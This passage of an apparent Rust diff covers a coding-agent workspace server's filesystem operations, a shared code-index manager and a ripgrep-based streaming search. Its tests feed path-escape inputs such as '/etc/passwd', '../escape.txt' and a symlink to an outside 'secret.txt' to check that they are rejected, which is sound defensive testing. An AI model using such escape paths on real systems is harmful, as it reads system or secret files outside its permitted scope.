assert_ne!(new_hash, real_hash);
}
/// A path with a *file* as an intermediate component (`ENOTDIR`) is an
/// existence miss, not an RPC error.
#[tokio::test]
async fn stat_enotdir_intermediate_reports_not_exists() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
std::fs::write(root.join("file.txt"), b"x").unwrap();
let res = stat(
&ws,
&FsStatReq {
path: "file.txt/nested".into(),
},
)
.await
.unwrap();
assert!(!res.exists);
assert_eq!(res.node_type, None);
assert_eq!(res.hash, None);
}
#[tokio::test]
async fn stat_missing_path_reports_not_exists() {
let ws = make_handle();
let res = stat(
&ws,
&FsStatReq {
path: "nope.txt".into(),
},
)
.await
.unwrap();
assert!(!res.exists);
assert_eq!(res.node_type, None);
assert_eq!(res.hash, None);
}
#[tokio::test]
async fn read_file_chunks_are_binary_safe_and_capped() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
// Non-UTF-8 payload: every byte value once.
let payload: Vec<u8> = (0u8..=255).collect();
std::fs::write(root.join("blob.bin"), &payload).unwrap();
let req = FsReadFileReq {
path: "blob.bin".into(),
// Bytes 200..210 are bare continuation bytes — never valid UTF-8.
offset: Some(200),
length: Some(50),
max_bytes: 10, // cap below the requested length
encoding: FsReadEncoding::Base64,
};
let res = read_file(&ws, &req).await.unwrap();
assert_eq!(res.size, 256);
assert_eq!(res.content, None);
assert_eq!(res.content_type, FsContentType::Binary);
let bytes = base64::engine::general_purpose::STANDARD
.decode(res.content_base64.unwrap())
.unwrap();
assert_eq!(bytes, payload[200..210], "maxBytes caps the chunk");
// Full-file hash regardless of the requested range.
use sha2::{Digest, Sha256};
assert_eq!(res.hash, format!("{:x}", Sha256::digest(&payload)));
// Memoized second read (range-only fast path) returns the
// identical chunk + hash.
let again = read_file(&ws, &req).await.unwrap();
assert_eq!(again.hash, res.hash);
let again_bytes = base64::engine::general_purpose::STANDARD
.decode(again.content_base64.unwrap())
.unwrap();
assert_eq!(again_bytes, payload[200..210]);
}
/// `maxBytes` is server-capped at [`MAX_READ_BYTES`]:
/// a caller-supplied huge budget cannot make the workspace buffer the
/// whole file.
#[tokio::test]
async fn read_file_server_caps_max_bytes() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
let payload = vec![0u8; (MAX_READ_BYTES + 100) as usize];
std::fs::write(root.join("big.bin"), &payload).unwrap();
let res = read_file(
&ws,
&FsReadFileReq {
path: "big.bin".into(),
offset: None,
length: None,
max_bytes: u64::MAX,
encoding: FsReadEncoding::Base64,
},
)
.await
.unwrap();
assert_eq!(res.size, payload.len() as u64);
let bytes = base64::engine::general_purpose::STANDARD
.decode(res.content_base64.unwrap())
.unwrap();
assert_eq!(
bytes.len() as u64,
MAX_READ_BYTES,
"clamped to the server cap"
);
}
#[tokio::test]
async fn read_file_utf8_default_and_binary_fallback() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
std::fs::write(root.join("text.txt"), "héllo").unwrap();
std::fs::write(root.join("bin.dat"), [0xff, 0xfe, 0x00]).unwrap();
let text = read_file(
&ws,
&FsReadFileReq {
path: "text.txt".into(),
offset: None,
length: None,
max_bytes: 1_048_576,
encoding: FsReadEncoding::Utf8,
},
)
.await
.unwrap();
assert_eq!(text.content.as_deref(), Some("héllo"));
assert_eq!(text.content_base64, None);
assert_eq!(text.content_type, FsContentType::Text);
// Invalid UTF-8 under the utf8 default degrades to base64.
let bin = read_file(
&ws,
&FsReadFileReq {
path: "bin.dat".into(),
offset: None,
length: None,
max_bytes: 1_048_576,
encoding: FsReadEncoding::Utf8,
},
)
.await
.unwrap();
assert_eq!(bin.content, None);
assert_eq!(bin.content_type, FsContentType::Binary);
let bytes = base64::engine::general_purpose::STANDARD
.decode(bin.content_base64.unwrap())
.unwrap();
assert_eq!(bytes, [0xff, 0xfe, 0x00]);
}
#[tokio::test]
async fn resolve_rejects_escapes() {
let ws = make_handle();
for path in ["/etc/passwd", "../escape.txt"] {
let err = stat(
&ws,
&FsStatReq {
path: path.to_owned(),
},
)
.await
.expect_err("escape must be rejected");
assert!(matches!(err, WorkspaceError::HubError(_)), "{err:?}");
}
}
/// An absolute path *inside* the workspace root is accepted and stats
/// the same file as its root-relative form.
#[tokio::test]
async fn resolve_accepts_absolute_within_root() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
std::fs::write(root.join("data.txt"), b"hello").unwrap();
let rel = stat(
&ws,
&FsStatReq {
path: "data.txt".into(),
},
)
.await
.unwrap();
assert!(rel.exists);
let abs_path = root.join("data.txt").to_string_lossy().into_owned();
let abs = stat(&ws, &FsStatReq { path: abs_path }).await.unwrap();
assert!(abs.exists);
assert_eq!(abs.node_type, rel.node_type);
assert_eq!(abs.size, rel.size);
assert_eq!(abs.hash, rel.hash);
}
#[tokio::test]
#[cfg(unix)]
async fn resolve_rejects_symlink_escape() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
let outside = tempfile::tempdir().unwrap();
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
std::os::unix::fs::symlink(outside.path(), root.join("escape_link")).unwrap();
let err = read_file(
&ws,
&FsReadFileReq {
path: "escape_link/secret.txt".into(),
offset: None,
length: None,
max_bytes: 1_048_576,
encoding: FsReadEncoding::Base64,
},
)
.await
.expect_err("symlink escape must be rejected");
assert!(
err.to_string().contains("symlink escape"),
"unexpected error: {err}"
);
}
#[tokio::test]
async fn list_empty_path_lists_root() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
std::fs::write(root.join("rooted.txt"), b"x").unwrap();
let res = list(&ws, &list_req("")).await.unwrap();
assert!(res.nodes.iter().any(|n| n.name == "rooted.txt"));
}
}
@@ -0,0 +1,306 @@
//! Codebase Index Manager
//!
//! Manages code graph indexes for code navigation features (go-to-definition, go-to-references).
//! Indexes are shared across sessions with the same cwd to avoid duplicate work.
//!
//! ## Deduplication
//!
//! Deduplication happens at two levels:
//! 1. **Process-level**: `IndexManager::spawn()` ensures at most one manager per workspace per process
//! 2. **Cross-process**: File-based locking prevents duplicate background operations
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use std::sync::{Arc, Weak};
use kigi_codebase_graph::{IndexManager, IndexManagerConfig, IndexManagerHandle};
use kigi_tools::util::kigi_home::kigi_home;
/// Get the cache path for a cwd's index.
///
/// Cache is stored in: `~/.kigi/indexes/{url_encoded_cwd}/goto_index.bin`
pub fn get_index_cache_path(cwd: &Path) -> PathBuf {
let encoded = urlencoding::encode(&cwd.to_string_lossy()).into_owned();
kigi_home()
.join("indexes")
.join(encoded)
.join("goto_index.bin")
}
/// Manages code graph indexes across sessions.
///
/// Wraps `IndexManager::spawn()` with cache-path config and cross-session
/// handle reuse. Keeps only `Weak` refs — sessions hold the strong `Arc`s,
/// so the actor is reaped when the last session in a git-root closes.
pub struct CodebaseIndexManager {
indexes: HashMap<PathBuf, Weak<IndexManagerHandle>>,
}
impl Default for CodebaseIndexManager {
fn default() -> Self {
Self::new()
}
}
impl CodebaseIndexManager {
pub fn new() -> Self {
Self {
indexes: HashMap::new(),
}
}
/// Get or create the index for `cwd`. Returns `(handle, was_newly_spawned)`.
/// Caller must hold the `Arc` to keep the index alive.
pub fn get_or_create(&mut self, cwd: PathBuf) -> (Arc<IndexManagerHandle>, bool) {
self.indexes.retain(|_, weak| weak.strong_count() > 0);
if let Some(handle) = self.indexes.get(&cwd).and_then(Weak::upgrade) {
tracing::info!(
cwd = %cwd.display(),
event = "index_reused",
"Codebase index already running — reusing shared handle"
);
return (handle, false);
}
// Create cache directory if needed
let cache_path = get_index_cache_path(&cwd);
if let Some(parent) = cache_path.parent()
&& let Err(e) = std::fs::create_dir_all(parent)
{
tracing::warn!(
path = %parent.display(),
error = %e,
"Failed to create cache directory"
);
}
tracing::info!(
cwd = %cwd.display(),
cache_path = %cache_path.display(),
event = "index_lazy_started",
"Codebase index lazy-started — spawning IndexManager actor"
);
// IndexManager::spawn() handles global deduplication.
let config = IndexManagerConfig::new(cwd.clone()).with_cache_path(cache_path);
let handle = IndexManager::spawn(config);
self.indexes.insert(cwd, Arc::downgrade(&handle));
(handle, true)
}
/// Get the running index for `cwd`, or `None` if not started / already reaped.
pub fn get(&self, cwd: &Path) -> Option<Arc<IndexManagerHandle>> {
self.indexes.get(cwd).and_then(Weak::upgrade)
}
/// Returns the number of currently-live indexes (test helper).
#[cfg(test)]
pub(crate) fn active_count(&self) -> usize {
self.indexes
.values()
.filter(|weak| weak.strong_count() > 0)
.count()
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_cache_path_encoding() {
let cwd = Path::new("/Users/test/my project");
let cache_path = get_index_cache_path(cwd);
// Should contain URL-encoded path
assert!(cache_path.to_string_lossy().contains("%2F"));
assert!(cache_path.to_string_lossy().ends_with("goto_index.bin"));
}
// =========================================================================
// Lazy-start mechanic tests
//
// These tests verify the core lazy-start behavior:
// `CodebaseIndexManager::get()` returns None before the index is created,
// which maps to `x.ai/code/status` reporting `reason: notStarted`.
// `get_or_create()` is the lazy-start entry point called by
// `MvpAgent::start_codebase_index_for_code_nav` on the first code-nav
// request for an eligible session.
// =========================================================================
/// An empty CodebaseIndexManager returns None for any path.
///
/// This is the steady-state before ANY code-nav request has been made.
/// In `x.ai/code/status`, `resolve_index_handle()` calls
/// `agent.get_codebase_index(cwd)` which calls `mgr.get(cwd)`.
/// When this returns None the status reports `reason: notStarted` — the
/// key non-starting guarantee from the plan.
#[test]
fn test_get_returns_none_before_any_index_created() {
let mgr = CodebaseIndexManager::new();
assert!(
mgr.get(Path::new("/some/repo")).is_none(),
"get() must return None before get_or_create() is called — this is \
the CodebaseIndexManager state that causes code/status to report notStarted"
);
}
/// get() returns None even after another path was indexed.
///
/// Proves path-scoped isolation: a different cwd's index does not
/// satisfy a lookup for an unrelated path.
#[test]
fn test_get_returns_none_for_different_cwd() {
let temp = tempfile::tempdir().unwrap();
let root_a = temp.path().join("repo_a");
let root_b = temp.path().join("repo_b");
std::fs::create_dir_all(&root_a).unwrap();
let mut mgr = CodebaseIndexManager::new();
let (_handle, _) = mgr.get_or_create(root_a.clone());
// root_b was never indexed — must return None.
assert!(
mgr.get(&root_b).is_none(),
"get() for an un-indexed path must return None (path-scoped isolation)"
);
}
/// After get_or_create() the same path is found by get().
///
/// This is the lazy-start path: `get_or_create` is called by
/// `start_codebase_index_for_code_nav` on the first eligible code-nav
/// request, after which `get_codebase_index` (used by `resolve_index_handle`
/// in `code_status`) returns `Some`.
#[test]
fn test_get_finds_handle_after_get_or_create() {
let temp = tempfile::tempdir().unwrap();
let root = temp.path().to_path_buf();
let mut mgr = CodebaseIndexManager::new();
// Before lazy-start: get() returns None.
assert!(mgr.get(&root).is_none(), "no index before get_or_create");
// Lazy-start: this is what start_codebase_index_for_code_nav calls.
let (handle, was_new) = mgr.get_or_create(root.clone());
assert!(was_new, "first get_or_create must report newly spawned");
assert_eq!(mgr.active_count(), 1);
let found = mgr
.get(&root)
.expect("index must be visible after get_or_create");
assert!(
Arc::ptr_eq(&handle, &found),
"get() must return the same Arc as get_or_create() — dedup / reuse"
);
}
/// The index is reaped once the last strong handle drops.
///
/// This is the eviction guarantee: the manager holds only a `Weak`, so when
/// the last session pinning a git-root is torn down (here simulated by
/// dropping the sole `Arc`), `get()` stops returning the handle and the
/// entry no longer counts as active — no per-repo accumulation in a
/// long-lived leader process.
#[test]
fn test_index_evicted_when_last_strong_ref_dropped() {
let temp = tempfile::tempdir().unwrap();
let root = temp.path().to_path_buf();
let mut mgr = CodebaseIndexManager::new();
let (handle, _) = mgr.get_or_create(root.clone());
assert_eq!(mgr.active_count(), 1, "index live while strong ref held");
assert!(mgr.get(&root).is_some());
// The agent (here: this test) was the only strong owner.
drop(handle);
assert!(
mgr.get(&root).is_none(),
"index must be released once the last strong ref drops"
);
assert_eq!(
mgr.active_count(),
0,
"a reaped index must not count as active"
);
}
/// Shared index across sessions: reaped only after the last strong ref drops.
#[test]
fn test_shared_index_evicted_only_after_last_session_drops() {
let temp = tempfile::tempdir().unwrap();
let root = temp.path().to_path_buf();
let mut mgr = CodebaseIndexManager::new();
let (session_a, was_new_a) = mgr.get_or_create(root.clone());
let (session_b, was_new_b) = mgr.get_or_create(root.clone());
assert!(was_new_a, "first session must spawn the index");
assert!(!was_new_b, "second session must reuse the shared index");
assert!(
Arc::ptr_eq(&session_a, &session_b),
"both sessions must share one index handle (Arc::ptr_eq)"
);
assert_eq!(
mgr.active_count(),
1,
"two sessions in one git-root back exactly one index"
);
// First session ends: the index stays warm for the surviving session.
drop(session_a);
assert!(
mgr.get(&root).is_some(),
"index must survive while another session still pins it"
);
assert_eq!(
mgr.active_count(),
1,
"index still live after only the first session drops"
);
// Last session ends: now — and only now — the index is reaped.
drop(session_b);
assert!(
mgr.get(&root).is_none(),
"index must be released once the LAST session drops its ref"
);
assert_eq!(
mgr.active_count(),
0,
"a reaped shared index must not count as active"
);
}
/// A second get_or_create() for the same path reuses the existing handle.
///
/// This corresponds to "subsequent code-nav requests reuse the same shared
/// handle" from the plan: once the index is running, all subsequent
/// get_or_create calls for the same path return the existing Arc.
#[test]
fn test_get_or_create_is_idempotent_for_same_path() {
let temp = tempfile::tempdir().unwrap();
let root = temp.path().to_path_buf();
let mut mgr = CodebaseIndexManager::new();
let (h1, was_new_1) = mgr.get_or_create(root.clone());
let (h2, was_new_2) = mgr.get_or_create(root.clone());
assert!(was_new_1, "first call must report newly spawned");
assert!(
!was_new_2,
"second call must report reused (not newly spawned)"
);
assert!(
Arc::ptr_eq(&h1, &h2),
"second get_or_create must return the same Arc as the first (index reuse)"
);
assert_eq!(mgr.active_count(), 1, "only one index for one path");
}
}
@@ -0,0 +1,271 @@
use std::path::Path;
use std::process::Stdio;
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering};
use std::time::Instant;
use tokio::io::{AsyncBufReadExt, BufReader};
use tokio::process::Command;
// Canonical in kigi-workspace-types; re-exported for existing paths.
pub use kigi_workspace_types::rpc::search::{ContentMatch, ContentMatchFile, ContentSearchData};
#[derive(Debug, Clone, Default)]
pub struct ContentSearchParams {
pub pattern: String,
pub case_insensitive: bool,
pub literal: bool,
pub globs: Vec<String>,
pub max_files: Option<usize>,
pub max_matches: Option<usize>,
pub respect_gitignore: bool,
}
/// Batch of results sent during streaming search.
#[derive(Debug, Clone, Default)]
pub struct ContentSearchBatch {
pub files: Vec<ContentMatchFile>,
pub total_matches: usize,
pub total_files: usize,
pub done: bool,
pub truncated: bool,
}
const BATCH_INTERVAL_MS: u64 = 50;
const DEFAULT_MAX_FILES: usize = 100;
const DEFAULT_MAX_MATCHES: usize = 1000;
fn build_ripgrep_command(root: &Path, params: &ContentSearchParams) -> Command {
let rg_path = crate::util::ripgrep::rg_path();
let mut cmd = Command::new(&rg_path);
cmd.current_dir(root);
cmd.stdout(Stdio::piped());
cmd.stderr(Stdio::null());
cmd.stdin(Stdio::null());
kigi_tools::util::detach_command(&mut cmd);
cmd.arg("--json");
cmd.arg("--line-number");
const DEFAULT_EXCLUSIONS: &[&str] = &["!.git/**", "!submodules/**", "!vendor/**"];
for glob in DEFAULT_EXCLUSIONS {
cmd.arg("--glob").arg(glob);
}
cmd.arg("--max-filesize").arg("1M");
cmd.arg("--max-count").arg("50");
cmd.arg("--max-columns").arg("500");
cmd.arg("--max-columns-preview");
if params.case_insensitive {
cmd.arg("--ignore-case");
}
if params.literal {
cmd.arg("--fixed-strings");
}
if !params.respect_gitignore {
cmd.arg("--no-ignore");
}
for glob in &params.globs {
cmd.arg("--glob").arg(glob);
}
cmd.arg("-e").arg(&params.pattern);
cmd.arg(".");
cmd
}
fn extract_match_positions(data: &serde_json::Value) -> (Option<usize>, Option<usize>) {
data.get("submatches")
.and_then(|s| s.as_array())
.and_then(|arr| arr.first())
.map(|first| {
let start = first
.get("start")
.and_then(|s| s.as_u64())
.map(|s| s as usize);
let end = first
.get("end")
.and_then(|e| e.as_u64())
.map(|e| e as usize);
(start, end)
})
.unwrap_or((None, None))
}
fn parse_match_from_json(data: &serde_json::Value) -> Option<ContentMatch> {
let line_number = data.get("line_number").and_then(|l| l.as_u64())? as usize;
let content = data
.get("lines")
.and_then(|l| l.get("text"))
.and_then(|t| t.as_str())
.unwrap_or("")
.trim_end_matches('\n')
.to_string();
let (match_start, match_end) = extract_match_positions(data);
Some(ContentMatch {
line: line_number,
content,
match_start,
match_end,
})
}
fn parse_file_path_from_json(root: &Path, json: &serde_json::Value) -> Option<String> {
let path = json
.get("data")
.and_then(|d| d.get("path"))
.and_then(|p| p.get("text"))
.and_then(|t| t.as_str())?;
let normalized = path.strip_prefix("./").unwrap_or(path);
if Path::new(normalized).is_absolute() {
return Some(normalized.to_string());
}
Some(root.join(normalized).to_string_lossy().to_string())
}
/// Streaming content search with batched status notifications.
/// Set `cancel` to true to abort the search early.
pub async fn content_search_streaming<F>(
root: &Path,
params: &ContentSearchParams,
cancel: Arc<AtomicBool>,
on_status: F,
) -> anyhow::Result<ContentSearchData>
where
F: Fn(ContentSearchBatch) + Send + 'static,
{
let max_files = params.max_files.unwrap_or(DEFAULT_MAX_FILES);
let max_matches = params.max_matches.unwrap_or(DEFAULT_MAX_MATCHES);
let mut cmd = build_ripgrep_command(root, params);
let mut child = cmd
.spawn()
.map_err(|e| anyhow::anyhow!("Failed to spawn ripgrep: {}", e))?;
let stdout = child
.stdout
.take()
.ok_or_else(|| anyhow::anyhow!("Failed to capture ripgrep stdout"))?;
let mut reader = BufReader::new(stdout).lines();
let mut files: Vec<ContentMatchFile> = Vec::new();
let mut current_file: Option<ContentMatchFile> = None;
let mut total_matches = 0usize;
let mut pending_files: Vec<ContentMatchFile> = Vec::new();
let mut last_notify = Instant::now();
let mut hit_limit = false;
while let Ok(Some(line)) = reader.next_line().await {
if cancel.load(Ordering::Relaxed) {
break;
}
if line.is_empty() {
continue;
}
let json: serde_json::Value = match serde_json::from_str(&line) {
Ok(v) => v,
Err(_) => continue,
};
match json.get("type").and_then(|t| t.as_str()) {
Some("begin") => {
if let Some(file) = current_file.take()
&& !file.matches.is_empty()
{
pending_files.push(file.clone());
files.push(file);
}
if let Some(path) = parse_file_path_from_json(root, &json) {
current_file = Some(ContentMatchFile::new(path));
}
}
Some("match") => {
if let Some(ref mut file) = current_file
&& let Some(data) = json.get("data")
&& let Some(m) = parse_match_from_json(data)
{
file.matches.push(m);
total_matches += 1;
}
}
Some("end") => {
if let Some(file) = current_file.take()
&& !file.matches.is_empty()
{
pending_files.push(file.clone());
files.push(file);
}
}
_ => {}
}
if files.len() >= max_files || total_matches >= max_matches {
hit_limit = true;
break;
}
let should_notify = !pending_files.is_empty()
&& last_notify.elapsed().as_millis() >= BATCH_INTERVAL_MS as u128;
if should_notify {
on_status(ContentSearchBatch {
files: std::mem::take(&mut pending_files),
total_matches,
total_files: files.len(),
done: false,
truncated: false,
});
tokio::task::yield_now().await;
last_notify = Instant::now();
}
}
let cancelled = cancel.load(Ordering::Relaxed);
if hit_limit || cancelled {
let _ = child.kill().await;
}
let _ = child.wait().await;
if cancelled {
let total_files = files.len();
return Ok(ContentSearchData {
files,
total_matches,
total_files,
truncated: false,
});
}
if let Some(file) = current_file
&& !file.matches.is_empty()
&& files.len() < max_files
{
pending_files.push(file.clone());
files.push(file);
}
let truncated = hit_limit;
let total_files = files.len();
on_status(ContentSearchBatch {
files: pending_files,
total_matches,
total_files,
done: true,
truncated,
});
tokio::task::yield_now().await;
Ok(ContentSearchData {
files,
total_matches,
total_files,
truncated,
})
}
@@ -0,0 +1,560 @@
//! Filesystem extension ops (`workspace.fs_*`) — the server-proxied backing
//! for the shell's `x.ai/fs/*` ACP extension methods.
//!
//! These mirror the pure functions that previously lived only in the
//! shell (`kigi-shell/src/session/file_system.rs`) so that, in proxy
//! mode, a `x.ai/fs/*` request executes on the *remote* workspace server
//! instead of the agent host. Each request type implements
//! [`WorkspaceOp`], so it runs in-process for local sessions and routes
//! over the server `workspace_rpc` tool for proxy sessions — identical wire
//! output either way.
//!
//! Path resolution: an absolute `path` is used directly; a relative
//! `path` is joined onto `cwd` (the per-session cwd the shell resolves
//! and sends) or, when absent, the workspace root.
use std::path::{Path, PathBuf};
use async_trait::async_trait;
use base64::Engine;
use chrono::Utc;
use crate::error::{WorkspaceError, WorkspaceResult};
use crate::handle::WorkspaceHandle;
use crate::workspace_ops::WorkspaceOp;
// Canonical in kigi-workspace-types; re-exported for existing paths.
use kigi_workspace_types::rpc::fs::FsReadEncoding;
pub use kigi_workspace_types::rpc::fs::{
FsDeleteFileReq, FsExistsData, FsExistsReq, FsListData, FsListNode, FsListReq, FsReadFileData,
FsReadFileReq, FsWriteFileReq,
};
/// Resolve a request `path` to an absolute path. Absolute paths are used
/// directly; relative paths join `cwd` (the shell-resolved per-session
/// cwd) or, when absent, the workspace root.
fn resolve_abs(
path: &str,
cwd: &Option<PathBuf>,
ws: &WorkspaceHandle,
) -> WorkspaceResult<PathBuf> {
let p = Path::new(path);
if p.is_absolute() {
return Ok(p.to_path_buf());
}
let base = match cwd {
Some(c) => c.clone(),
None => ws.root_cwd()?,
};
Ok(base.join(p))
}
#[async_trait]
impl WorkspaceOp for FsListReq {
async fn execute(
&self,
ws: &WorkspaceHandle,
_session_id: Option<&str>,
) -> WorkspaceResult<Self::Response> {
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
let (abs, confine_root) = ws.confine_to_workspace_root(&abs_unconfined).await?;
// Off-executor: `list` does synchronous walk + metadata syscalls.
let req = self.clone();
tokio::task::spawn_blocking(move || list(&abs, &req, confine_root))
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?
}
}
#[async_trait]
impl WorkspaceOp for FsExistsReq {
async fn execute(
&self,
ws: &WorkspaceHandle,
_session_id: Option<&str>,
) -> WorkspaceResult<Self::Response> {
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
let exists = tokio::fs::try_exists(&abs).await.unwrap_or(false);
Ok(FsExistsData { exists })
}
}
#[async_trait]
impl WorkspaceOp for FsReadFileReq {
async fn execute(
&self,
ws: &WorkspaceHandle,
_session_id: Option<&str>,
) -> WorkspaceResult<Self::Response> {
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
// Legacy full-file read path: preserves the pre-range wire output
// (auto utf8/base64 detect, MIME `type`, `lineCount`).
let ranged = self.offset.is_some()
|| self.length.is_some()
|| self.encoding == FsReadEncoding::Base64;
if !ranged {
let bytes = tokio::fs::read(&abs)
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
return Ok(build_file_entry(&bytes));
}
// Binary-safe ranged read: `size` is the full file size, the
// chunk is `[offset, offset + min(length, max_bytes, cap))`.
let md = tokio::fs::metadata(&abs)
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
if md.is_dir() {
return Err(WorkspaceError::HubError(format!(
"not a file: {}",
self.path
)));
}
// Best-effort snapshot: a concurrent truncate/grow between here and
// read_range can make `size` inconsistent with the returned chunk.
let size = md.len();
let offset = self.offset.unwrap_or(0);
let length = super::walk::clamp_read_length(self.length, self.max_bytes);
let chunk = super::walk::read_range(&abs, offset, length)
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
Ok(build_ranged_entry(chunk, size, self.encoding))
}
}
#[async_trait]
impl WorkspaceOp for FsWriteFileReq {
async fn execute(
&self,
ws: &WorkspaceHandle,
_session_id: Option<&str>,
) -> WorkspaceResult<Self::Response> {
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
let content = self.content.clone();
let create_dirs = self.create_dirs;
tokio::task::spawn_blocking(move || -> std::io::Result<()> {
if create_dirs && let Some(parent) = abs.parent() {
std::fs::create_dir_all(parent)?;
}
std::fs::write(&abs, content.as_bytes())
})
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
Ok(())
}
}
#[async_trait]
impl WorkspaceOp for FsDeleteFileReq {
async fn execute(
&self,
ws: &WorkspaceHandle,
_session_id: Option<&str>,
) -> WorkspaceResult<Self::Response> {
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
tokio::fs::remove_file(&abs)
.await
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
Ok(())
}
}
// =========================================================================
// Pure helpers — ported verbatim from the shell so output is identical.
// =========================================================================
fn list(
abs_path: &Path,
req: &FsListReq,
confine_to_canonical_root: Option<PathBuf>,
) -> WorkspaceResult<FsListData> {
// Confined to the canonical root when set (escaping symlinks not enumerated);
// `None` (the default) walks unconfined.
let page = super::walk::list_directory_paged(
abs_path,
super::walk::ListOptions {
depth: req.depth,
follow_symlinks: req.follow_symlinks,
respect_git_ignore: req.respect_git_ignore,
include_hidden: req.include_hidden,
include_globs: &req.include_globs,
exclude_globs: &req.exclude_globs,
offset: req.offset,
limit: req.limit,
confine_to_canonical_root,
},
super::walk::MAX_LIST_COLLECT,
);
let nodes: Vec<FsListNode> = page
.entries
.into_iter()
.map(|e| FsListNode {
node_type: if e.is_dir { "directory" } else { "file" }.to_string(),
size: e.size,
modified_at: e.modified.map(|st| {
let dt: chrono::DateTime<Utc> = st.into();
dt.to_rfc3339()
}),
is_symlink: e.is_symlink.then_some(true),
path: e.abs_path.to_string_lossy().into_owned(),
name: e.name,
})
.collect();
Ok(FsListData {
nodes,
truncated: page.truncated,
})
}
/// Map a binary-safe ranged chunk to the shell-facing `FsReadFileData`.
/// `size` is the full file size; `lineCount` is omitted for ranged reads
/// and the MIME `type` is a coarse text/binary tag (mid-file chunks make
/// magic-byte sniffing meaningless).
fn build_ranged_entry(chunk: Vec<u8>, size: u64, encoding: FsReadEncoding) -> FsReadFileData {
let (payload, is_text) = super::walk::encode_chunk(chunk, encoding);
let (content, content_base64) = match payload {
super::walk::ChunkPayload::Text(t) => (t, None),
super::walk::ChunkPayload::Base64(b) => (String::new(), Some(b)),
};
FsReadFileData {
content,
content_base64,
size,
line_count: None,
content_type: if is_text {
"text/plain".to_string()
} else {
"application/octet-stream".to_string()
},
}
}
fn build_file_entry(bytes: &[u8]) -> FsReadFileData {
let size = bytes.len() as u64;
let inferred = infer::get(bytes).map(|t| t.mime_type().to_string());
match String::from_utf8(bytes.to_vec()) {
Ok(text) => FsReadFileData {
line_count: Some(text.lines().count() as u64),
content: text,
content_base64: None,
size,
content_type: inferred.unwrap_or_else(|| "text/plain".to_string()),
},
Err(_) => FsReadFileData {
content: String::new(),
content_base64: Some(base64::engine::general_purpose::STANDARD.encode(bytes)),
size,
line_count: None,
content_type: inferred.unwrap_or_else(|| "application/octet-stream".to_string()),
},
}
}
// =========================================================================
// Tests for the pure helpers (no `WorkspaceHandle` required).
// =========================================================================
#[cfg(test)]
mod tests {
use super::*;
/// Build an `FsListReq` for a temp dir test. `path`/`cwd` are unused by
/// `list` (it takes the resolved abs path directly); `respect_git_ignore`
/// is off so the temp dir's location can't filter out our fixtures.
fn list_req(limit: usize) -> FsListReq {
FsListReq {
path: String::new(),
cwd: None,
depth: 1,
limit,
offset: 0,
include_hidden: true,
follow_symlinks: true,
respect_git_ignore: false,
include_globs: Vec::new(),
exclude_globs: Vec::new(),
}
}
#[test]
fn build_file_entry_utf8_sets_content_and_line_count() {
let bytes = b"line one\nline two\n";
let entry = build_file_entry(bytes);
assert_eq!(entry.content, "line one\nline two\n");
assert!(entry.content_base64.is_none());
assert_eq!(entry.line_count, Some(2));
assert_eq!(entry.size, bytes.len() as u64);
}
#[test]
fn build_file_entry_invalid_utf8_uses_base64() {
let bytes: &[u8] = &[0xff, 0xfe, 0x00];
let entry = build_file_entry(bytes);
assert!(entry.content.is_empty());
assert_eq!(
entry.content_base64,
Some(base64::engine::general_purpose::STANDARD.encode(bytes)),
);
assert!(entry.line_count.is_none());
assert_eq!(entry.size, bytes.len() as u64);
}
#[test]
fn list_enumerates_nodes_without_truncation() {
let dir = tempfile::tempdir().expect("tempdir");
let root = dir.path();
std::fs::write(root.join("a.txt"), b"a").expect("write a");
std::fs::write(root.join("b.txt"), b"bb").expect("write b");
std::fs::create_dir(root.join("sub")).expect("mkdir sub");
let data = list(root, &list_req(1000), Some(root.to_path_buf())).expect("list");
let names: Vec<&str> = data.nodes.iter().map(|n| n.name.as_str()).collect();
assert_eq!(data.nodes.len(), 3, "names: {names:?}");
assert!(names.contains(&"a.txt"));
assert!(names.contains(&"b.txt"));
assert!(names.contains(&"sub"));
assert!(!data.truncated);
// Directories sort ahead of files.
assert_eq!(data.nodes[0].name, "sub");
assert_eq!(data.nodes[0].node_type, "directory");
}
#[test]
fn list_marks_truncated_when_limit_reached() {
let dir = tempfile::tempdir().expect("tempdir");
let root = dir.path();
std::fs::write(root.join("a.txt"), b"a").expect("write a");
std::fs::write(root.join("b.txt"), b"bb").expect("write b");
std::fs::create_dir(root.join("sub")).expect("mkdir sub");
let data = list(root, &list_req(1), Some(root.to_path_buf())).expect("list");
assert_eq!(data.nodes.len(), 1);
assert!(data.truncated);
}
#[test]
fn list_paginates_with_offset() {
let dir = tempfile::tempdir().expect("tempdir");
let root = dir.path();
for n in ["a.txt", "b.txt", "c.txt", "d.txt"] {
std::fs::write(root.join(n), b"x").expect("write");
}
let names = |d: FsListData| d.nodes.into_iter().map(|n| n.name).collect::<Vec<_>>();
let mut req = list_req(2);
let p0 = list(root, &req, Some(root.to_path_buf())).expect("list");
assert!(p0.truncated);
assert_eq!(names(p0), vec!["a.txt", "b.txt"]);
req.offset = 2;
let p1 = list(root, &req, Some(root.to_path_buf())).expect("list");
